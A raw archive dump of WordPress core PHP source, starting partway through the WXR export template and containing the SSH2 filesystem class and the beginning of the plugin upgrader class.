	xmlns:wp="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/"
>

<channel>
	<title><?php bloginfo_rss( 'name' ); ?></title>
	<link><?php bloginfo_rss( 'url' ); ?></link>
	<description><?php bloginfo_rss( 'description' ); ?></description>
	<pubDate><?php echo gmdate( 'D, d M Y H:i:s +0000' ); ?></pubDate>
	<language><?php bloginfo_rss( 'language' ); ?></language>
	<wp:wxr_version><?php echo WXR_VERSION; ?></wp:wxr_version>
	<wp:base_site_url><?php echo wxr_site_url(); ?></wp:base_site_url>
	<wp:base_blog_url><?php bloginfo_rss( 'url' ); ?></wp:base_blog_url>

	<?php wxr_authors_list( $post_ids ); ?>

	<?php foreach ( $cats as $c ) : ?>
	<wp:category>
		<wp:term_id><?php echo (int) $c->term_id; ?></wp:term_id>
		<wp:category_nicename><?php echo wxr_cdata( $c->slug ); ?></wp:category_nicename>
		<wp:category_parent><?php echo wxr_cdata( $c->parent ? $cats[ $c->parent ]->slug : '' ); ?></wp:category_parent>
		<?php
		wxr_cat_name( $c );
		wxr_category_description( $c );
		wxr_term_meta( $c );
		?>
	</wp:category>
	<?php endforeach; ?>
	<?php foreach ( $tags as $t ) : ?>
	<wp:tag>
		<wp:term_id><?php echo (int) $t->term_id; ?></wp:term_id>
		<wp:tag_slug><?php echo wxr_cdata( $t->slug ); ?></wp:tag_slug>
		<?php
		wxr_tag_name( $t );
		wxr_tag_description( $t );
		wxr_term_meta( $t );
		?>
	</wp:tag>
	<?php endforeach; ?>
	<?php foreach ( $terms as $t ) : ?>
	<wp:term>
		<wp:term_id><?php echo (int) $t->term_id; ?></wp:term_id>
		<wp:term_taxonomy><?php echo wxr_cdata( $t->taxonomy ); ?></wp:term_taxonomy>
		<wp:term_slug><?php echo wxr_cdata( $t->slug ); ?></wp:term_slug>
		<wp:term_parent><?php echo wxr_cdata( $t->parent ? $terms[ $t->parent ]->slug : '' ); ?></wp:term_parent>
		<?php
		wxr_term_name( $t );
		wxr_term_description( $t );
		wxr_term_meta( $t );
		?>
	</wp:term>
	<?php endforeach; ?>
	<?php
	if ( 'all' === $args['content'] ) {
		wxr_nav_menu_terms();
	}
	?>

	<?php
	/** This action is documented in wp-includes/feed-rss2.php */
	do_action( 'rss2_head' );
	?>

	<?php
	if ( $post_ids ) {
		/**
		 * @global WP_Query $wp_query WordPress Query object.
		 */
		global $wp_query;

		// Fake being in the loop.
		$wp_query->in_the_loop = true;

		// Fetch 20 posts at a time rather than loading the entire table into memory.
		while ( $next_posts = array_splice( $post_ids, 0, 20 ) ) {
			$where = 'WHERE ID IN (' . implode( ',', $next_posts ) . ')';
			$posts = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} $where" );

			// Begin Loop.
			foreach ( $posts as $post ) {
				setup_postdata( $post );

				/**
				 * Filters the post title used for WXR exports.
				 *
				 * @since 5.7.0
				 *
				 * @param string $post_title Title of the current post.
				 */
				$title = wxr_cdata( apply_filters( 'the_title_export', $post->post_title ) );

				/**
				 * Filters the post content used for WXR exports.
				 *
				 * @since 2.5.0
				 *
				 * @param string $post_content Content of the current post.
				 */
				$content = wxr_cdata( apply_filters( 'the_content_export', $post->post_content ) );

				/**
				 * Filters the post excerpt used for WXR exports.
				 *
				 * @since 2.6.0
				 *
				 * @param string $post_excerpt Excerpt for the current post.
				 */
				$excerpt = wxr_cdata( apply_filters( 'the_excerpt_export', $post->post_excerpt ) );

				$is_sticky = is_sticky( $post->ID ) ? 1 : 0;
				?>
	<item>
		<title><?php echo $title; ?></title>
		<link><?php the_permalink_rss(); ?></link>
		<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_time( 'Y-m-d H:i:s', true ), false ); ?></pubDate>
		<dc:creator><?php echo wxr_cdata( get_the_author_meta( 'login' ) ); ?></dc:creator>
		<guid isPermaLink="false"><?php the_guid(); ?></guid>
		<description></description>
		<content:encoded><?php echo $content; ?></content:encoded>
		<excerpt:encoded><?php echo $excerpt; ?></excerpt:encoded>
		<wp:post_id><?php echo (int) $post->ID; ?></wp:post_id>
		<wp:post_date><?php echo wxr_cdata( $post->post_date ); ?></wp:post_date>
		<wp:post_date_gmt><?php echo wxr_cdata( $post->post_date_gmt ); ?></wp:post_date_gmt>
		<wp:post_modified><?php echo wxr_cdata( $post->post_modified ); ?></wp:post_modified>
		<wp:post_modified_gmt><?php echo wxr_cdata( $post->post_modified_gmt ); ?></wp:post_modified_gmt>
		<wp:comment_status><?php echo wxr_cdata( $post->comment_status ); ?></wp:comment_status>
		<wp:ping_status><?php echo wxr_cdata( $post->ping_status ); ?></wp:ping_status>
		<wp:post_name><?php echo wxr_cdata( $post->post_name ); ?></wp:post_name>
		<wp:status><?php echo wxr_cdata( $post->post_status ); ?></wp:status>
		<wp:post_parent><?php echo (int) $post->post_parent; ?></wp:post_parent>
		<wp:menu_order><?php echo (int) $post->menu_order; ?></wp:menu_order>
		<wp:post_type><?php echo wxr_cdata( $post->post_type ); ?></wp:post_type>
		<wp:post_password><?php echo wxr_cdata( $post->post_password ); ?></wp:post_password>
		<wp:is_sticky><?php echo (int) $is_sticky; ?></wp:is_sticky>
				<?php	if ( 'attachment' === $post->post_type ) : ?>
		<wp:attachment_url><?php echo wxr_cdata( wp_get_attachment_url( $post->ID ) ); ?></wp:attachment_url>
	<?php endif; ?>
				<?php wxr_post_taxonomy(); ?>
				<?php
				$postmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID ) );
				foreach ( $postmeta as $meta ) :
					/**
					 * Filters whether to selectively skip post meta used for WXR exports.
					 *
					 * Returning a truthy value from the filter will skip the current meta
					 * object from being exported.
					 *
					 * @since 3.3.0
					 *
					 * @param bool   $skip     Whether to skip the current post meta. Default false.
					 * @param string $meta_key Current meta key.
					 * @param object $meta     Current meta object.
					 */
					if ( apply_filters( 'wxr_export_skip_postmeta', false, $meta->meta_key, $meta ) ) {
						continue;
					}
					?>
		<wp:postmeta>
		<wp:meta_key><?php echo wxr_cdata( $meta->meta_key ); ?></wp:meta_key>
		<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
		</wp:postmeta>
					<?php
	endforeach;

				$_comments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved <> 'spam'", $post->ID ) );
				$comments  = array_map( 'get_comment', $_comments );
				foreach ( $comments as $c ) :
					?>
		<wp:comment>
			<wp:comment_id><?php echo (int) $c->comment_ID; ?></wp:comment_id>
			<wp:comment_author><?php echo wxr_cdata( $c->comment_author ); ?></wp:comment_author>
			<wp:comment_author_email><?php echo wxr_cdata( $c->comment_author_email ); ?></wp:comment_author_email>
			<wp:comment_author_url><?php echo sanitize_url( $c->comment_author_url ); ?></wp:comment_author_url>
			<wp:comment_author_IP><?php echo wxr_cdata( $c->comment_author_IP ); ?></wp:comment_author_IP>
			<wp:comment_date><?php echo wxr_cdata( $c->comment_date ); ?></wp:comment_date>
			<wp:comment_date_gmt><?php echo wxr_cdata( $c->comment_date_gmt ); ?></wp:comment_date_gmt>
			<wp:comment_content><?php echo wxr_cdata( $c->comment_content ); ?></wp:comment_content>
			<wp:comment_approved><?php echo wxr_cdata( $c->comment_approved ); ?></wp:comment_approved>
			<wp:comment_type><?php echo wxr_cdata( $c->comment_type ); ?></wp:comment_type>
			<wp:comment_parent><?php echo (int) $c->comment_parent; ?></wp:comment_parent>
			<wp:comment_user_id><?php echo (int) $c->user_id; ?></wp:comment_user_id>
					<?php
					$c_meta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->commentmeta WHERE comment_id = %d", $c->comment_ID ) );
					foreach ( $c_meta as $meta ) :
						/**
						 * Filters whether to selectively skip comment meta used for WXR exports.
						 *
						 * Returning a truthy value from the filter will skip the current meta
						 * object from being exported.
						 *
						 * @since 4.0.0
						 *
						 * @param bool   $skip     Whether to skip the current comment meta. Default false.
						 * @param string $meta_key Current meta key.
						 * @param object $meta     Current meta object.
						 */
						if ( apply_filters( 'wxr_export_skip_commentmeta', false, $meta->meta_key, $meta ) ) {
							continue;
						}
						?>
	<wp:commentmeta>
	<wp:meta_key><?php echo wxr_cdata( $meta->meta_key ); ?></wp:meta_key>
			<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
			</wp:commentmeta>
					<?php	endforeach; ?>
		</wp:comment>
			<?php	endforeach; ?>
		</item>
				<?php
			}
		}
	}
	?>
</channel>
</rss>
	<?php
}
class-wp-filesystem-ssh2.php000064400000055415150275632050012064 0ustar00<?php
/**
 * WordPress Filesystem Class for implementing SSH2
 *
 * To use this class you must follow these steps for PHP 5.2.6+
 *
 * @contrib http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes
 *
 * Compile libssh2 (Note: Only 0.14 is officaly working with PHP 5.2.6+ right now, But many users have found the latest versions work)
 *
 * cd /usr/src
 * wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
 * tar -zxvf libssh2-0.14.tar.gz
 * cd libssh2-0.14/
 * ./configure
 * make all install
 *
 * Note: Do not leave the directory yet!
 *
 * Enter: pecl install -f ssh2
 *
 * Copy the ssh.so file it creates to your PHP Module Directory.
 * Open up your PHP.INI file and look for where extensions are placed.
 * Add in your PHP.ini file: extension=ssh2.so
 *
 * Restart Apache!
 * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp  exist.
 *
 * Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
 *
 * @since 2.7.0
 *
 * @package WordPress
 * @subpackage Filesystem
 */
class WP_Filesystem_SSH2 extends WP_Filesystem_Base {

	/**
	 * @since 2.7.0
	 * @var resource
	 */
	public $link = false;

	/**
	 * @since 2.7.0
	 * @var resource
	 */
	public $sftp_link;

	/**
	 * @since 2.7.0
	 * @var bool
	 */
	public $keys = false;

	/**
	 * Constructor.
	 *
	 * @since 2.7.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ssh2';
		$this->errors = new WP_Error();

		// Check if possible to use ssh2 functions.
		if ( ! extension_loaded( 'ssh2' ) ) {
			$this->errors->add( 'no_ssh2_ext', __( 'The ssh2 PHP extension is not available' ) );
			return;
		}

		// Set defaults:
		if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 22;
		} else {
			$this->options['port'] = $opt['port'];
		}

		if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'SSH2 hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

		// Check if the options provided are OK.
		if ( ! empty( $opt['public_key'] ) && ! empty( $opt['private_key'] ) ) {
			$this->options['public_key']  = $opt['public_key'];
			$this->options['private_key'] = $opt['private_key'];

			$this->options['hostkey'] = array( 'hostkey' => 'ssh-rsa,ssh-ed25519' );

			$this->keys = true;
		} elseif ( empty( $opt['username'] ) ) {
			$this->errors->add( 'empty_username', __( 'SSH2 username is required' ) );
		}

		if ( ! empty( $opt['username'] ) ) {
			$this->options['username'] = $opt['username'];
		}

		if ( empty( $opt['password'] ) ) {
			// Password can be blank if we are using keys.
			if ( ! $this->keys ) {
				$this->errors->add( 'empty_password', __( 'SSH2 password is required' ) );
			} else {
				$this->options['password'] = null;
			}
		} else {
			$this->options['password'] = $opt['password'];
		}
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.7.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( ! $this->keys ) {
			$this->link = @ssh2_connect( $this->options['hostname'], $this->options['port'] );
		} else {
			$this->link = @ssh2_connect( $this->options['hostname'], $this->options['port'], $this->options['hostkey'] );
		}

		if ( ! $this->link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to SSH2 Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		if ( ! $this->keys ) {
			if ( ! @ssh2_auth_password( $this->link, $this->options['username'], $this->options['password'] ) ) {
				$this->errors->add(
					'auth',
					sprintf(
						/* translators: %s: Username. */
						__( 'Username/Password incorrect for %s' ),
						$this->options['username']
					)
				);

				return false;
			}
		} else {
			if ( ! @ssh2_auth_pubkey_file( $this->link, $this->options['username'], $this->options['public_key'], $this->options['private_key'], $this->options['password'] ) ) {
				$this->errors->add(
					'auth',
					sprintf(
						/* translators: %s: Username. */
						__( 'Public and Private keys incorrect for %s' ),
						$this->options['username']
					)
				);

				return false;
			}
		}

		$this->sftp_link = ssh2_sftp( $this->link );

		if ( ! $this->sftp_link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to initialize a SFTP subsystem session with the SSH2 Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		return true;
	}

	/**
	 * Gets the ssh2.sftp PHP stream wrapper path to open for the given file.
	 *
	 * This method also works around a PHP bug where the root directory (/) cannot
	 * be opened by PHP functions, causing a false failure. In order to work around
	 * this, the path is converted to /./ which is semantically the same as /
	 * See https://bugs.php.net/bug.php?id=64169 for more details.
	 *
	 * @since 4.4.0
	 *
	 * @param string $path The File/Directory path on the remote server to return
	 * @return string The ssh2.sftp:// wrapped path to use.
	 */
	public function sftp_path( $path ) {
		if ( '/' === $path ) {
			$path = '/./';
		}

		return 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim( $path, '/' );
	}

	/**
	 * @since 2.7.0
	 *
	 * @param string $command
	 * @param bool   $returnbool
	 * @return bool|string True on success, false on failure. String if the command was executed, `$returnbool`
	 *                     is false (default), and data from the resulting stream was retrieved.
	 */
	public function run_command( $command, $returnbool = false ) {
		if ( ! $this->link ) {
			return false;
		}

		$stream = ssh2_exec( $this->link, $command );

		if ( ! $stream ) {
			$this->errors->add(
				'command',
				sprintf(
					/* translators: %s: Command. */
					__( 'Unable to perform command: %s' ),
					$command
				)
			);
		} else {
			stream_set_blocking( $stream, true );
			stream_set_timeout( $stream, FS_TIMEOUT );
			$data = stream_get_contents( $stream );
			fclose( $stream );

			if ( $returnbool ) {
				return ( false === $data ) ? false : '' !== trim( $data );
			} else {
				return $data;
			}
		}

		return false;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		return file_get_contents( $this->sftp_path( $file ) );
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return file( $this->sftp_path( $file ) );
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$ret = file_put_contents( $this->sftp_path( $file ), $contents );

		if ( strlen( $contents ) !== $ret ) {
			return false;
		}

		$this->chmod( $file, $mode );

		return true;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.7.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = ssh2_sftp_realpath( $this->sftp_link, '.' );

		if ( $cwd ) {
			$cwd = trailingslashit( trim( $cwd ) );
		}

		return $cwd;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return $this->run_command( 'cd ' . $dir, true );
	}

	/**
	 * Changes the file group.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chgrp %s %s', escapeshellarg( $group ), escapeshellarg( $file ) ), true );
		}

		return $this->run_command( sprintf( 'chgrp -R %s %s', escapeshellarg( $group ), escapeshellarg( $file ) ), true );
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

		if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chmod %o %s', $mode, escapeshellarg( $file ) ), true );
		}

		return $this->run_command( sprintf( 'chmod -R %o %s', $mode, escapeshellarg( $file ) ), true );
	}

	/**
	 * Changes the owner of a file or directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chown %s %s', escapeshellarg( $owner ), escapeshellarg( $file ) ), true );
		}

		return $this->run_command( sprintf( 'chown -R %s %s', escapeshellarg( $owner ), escapeshellarg( $file ) ), true );
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$owneruid = @fileowner( $this->sftp_path( $file ) );

		if ( ! $owneruid ) {
			return false;
		}

		if ( ! function_exists( 'posix_getpwuid' ) ) {
			return $owneruid;
		}

		$ownerarray = posix_getpwuid( $owneruid );

		if ( ! $ownerarray ) {
			return false;
		}

		return $ownerarray['name'];
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return substr( decoct( @fileperms( $this->sftp_path( $file ) ) ), -3 );
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$gid = @filegroup( $this->sftp_path( $file ) );

		if ( ! $gid ) {
			return false;
		}

		if ( ! function_exists( 'posix_getgrgid' ) ) {
			return $gid;
		}

		$grouparray = posix_getgrgid( $gid );

		if ( ! $grouparray ) {
			return false;
		}

		return $grouparray['name'];
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		$content = $this->get_contents( $source );

		if ( false === $content ) {
			return false;
		}

		return $this->put_contents( $destination, $content, $mode );
	}

	/**
	 * Moves a file or directory.
	 *
	 * After moving files or directories, OPcache will need to be invalidated.
	 *
	 * If moving a directory fails, `copy_dir()` can be used for a recursive copy.
	 *
	 * Use `move_dir()` for moving directories with OPcache invalidation and a
	 * fallback to `copy_dir()`.
	 *
	 * @since 2.7.0
	 *
	 * @param string $source      Path to the source file or directory.
	 * @param string $destination Path to the destination file or directory.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		if ( $this->exists( $destination ) ) {
			if ( $overwrite ) {
				// We need to remove the destination before we can rename the source.
				$this->delete( $destination, false, 'f' );
			} else {
				// If we're not overwriting, the rename will fail, so return early.
				return false;
			}
		}

		return ssh2_sftp_rename( $this->sftp_link, $source, $destination );
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( 'f' === $type || $this->is_file( $file ) ) {
			return ssh2_sftp_unlink( $this->sftp_link, $file );
		}

		if ( ! $recursive ) {
			return ssh2_sftp_rmdir( $this->sftp_link, $file );
		}

		$filelist = $this->dirlist( $file );

		if ( is_array( $filelist ) ) {
			foreach ( $filelist as $filename => $fileinfo ) {
				$this->delete( $file . '/' . $filename, $recursive, $fileinfo['type'] );
			}
		}

		return ssh2_sftp_rmdir( $this->sftp_link, $file );
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		return file_exists( $this->sftp_path( $path ) );
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return is_file( $this->sftp_path( $file ) );
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return is_dir( $this->sftp_path( $path ) );
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return is_readable( $this->sftp_path( $file ) );
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		// PHP will base its writable checks on system_user === file_owner, not ssh_user === file_owner.
		return true;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return fileatime( $this->sftp_path( $file ) );
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return filemtime( $this->sftp_path( $file ) );
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return filesize( $this->sftp_path( $file ) );
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: Not implemented.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		// Not implemented.
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit( $path );

		if ( empty( $path ) ) {
			return false;
		}

		if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

		if ( ! ssh2_sftp_mkdir( $this->sftp_link, $path, $chmod, true ) ) {
			return false;
		}

		// Set directory permissions.
		ssh2_sftp_chmod( $this->sftp_link, $path, $chmod );

		if ( $chown ) {
			$this->chown( $path, $chown );
		}

		if ( $chgrp ) {
			$this->chgrp( $path, $chgrp );
		}

		return true;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.7.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array $0... {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type false            $number      File number. Always false in this context.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path );
		} else {
			$limit_file = false;
		}

		if ( ! $this->is_dir( $path ) || ! $this->is_readable( $path ) ) {
			return false;
		}

		$ret = array();
		$dir = dir( $this->sftp_path( $path ) );

		if ( ! $dir ) {
			return false;
		}

		$path = trailingslashit( $path );

		while ( false !== ( $entry = $dir->read() ) ) {
			$struc         = array();
			$struc['name'] = $entry;

			if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue; // Do not care about these folders.
			}

			if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

			if ( $limit_file && $struc['name'] !== $limit_file ) {
				continue;
			}

			$struc['perms']       = $this->gethchmod( $path . $entry );
			$struc['permsn']      = $this->getnumchmodfromh( $struc['perms'] );
			$struc['number']      = false;
			$struc['owner']       = $this->owner( $path . $entry );
			$struc['group']       = $this->group( $path . $entry );
			$struc['size']        = $this->size( $path . $entry );
			$struc['lastmodunix'] = $this->mtime( $path . $entry );
			$struc['lastmod']     = gmdate( 'M j', $struc['lastmodunix'] );
			$struc['time']        = gmdate( 'h:i:s', $struc['lastmodunix'] );
			$struc['type']        = $this->is_dir( $path . $entry ) ? 'd' : 'f';

			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

			$ret[ $struc['name'] ] = $struc;
		}

		$dir->close();
		unset( $dir );

		return $ret;
	}
}
class-plugin-upgrader.php000064400000055442150275632050011504 0ustar00<?php
/**
 * Upgrade API: Plugin_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for upgrading/installing plugins.
 *
 * It is designed to upgrade/install plugins from a local zip, remote zip URL,
 * or uploaded zip file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Plugin_Upgrader extends WP_Upgrader {

	/**
	 * Plugin upgrade result.
	 *
	 * @since 2.8.0
	 * @var array|WP_Error $result
	 *
	 * @see WP_Upgrader::$result
	 */
	public $result;

	/**
	 * Whether a bulk upgrade/installation is being performed.
	 *
	 * @since 2.9.0
	 * @var bool $bulk
	 */
	public $bulk = false;

	/**
	 * New plugin info.
	 *
	 * @since 5.5.0
	 * @var array $new_plugin_data
	 *
	 * @see check_package()
	 */
	public $new_plugin_data = array();

	/**
	 * Initializes the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __( 'The plugin is at the latest version.' );
		$this->strings['no_package'] = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package']  = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']       = __( 'Unpacking the update&#8230;' );
		$this->strings['remove_old']           = __( 'Removing the old version of the plugin&#8230;' );
		$this->strings['remove_old_failed']    = __( 'Could not remove the old plugin.' );
		$this->strings['process_failed']       = __( 'Plugin update failed.' );
		$this->strings['process_success']      = __( 'Plugin updated successfully.' );
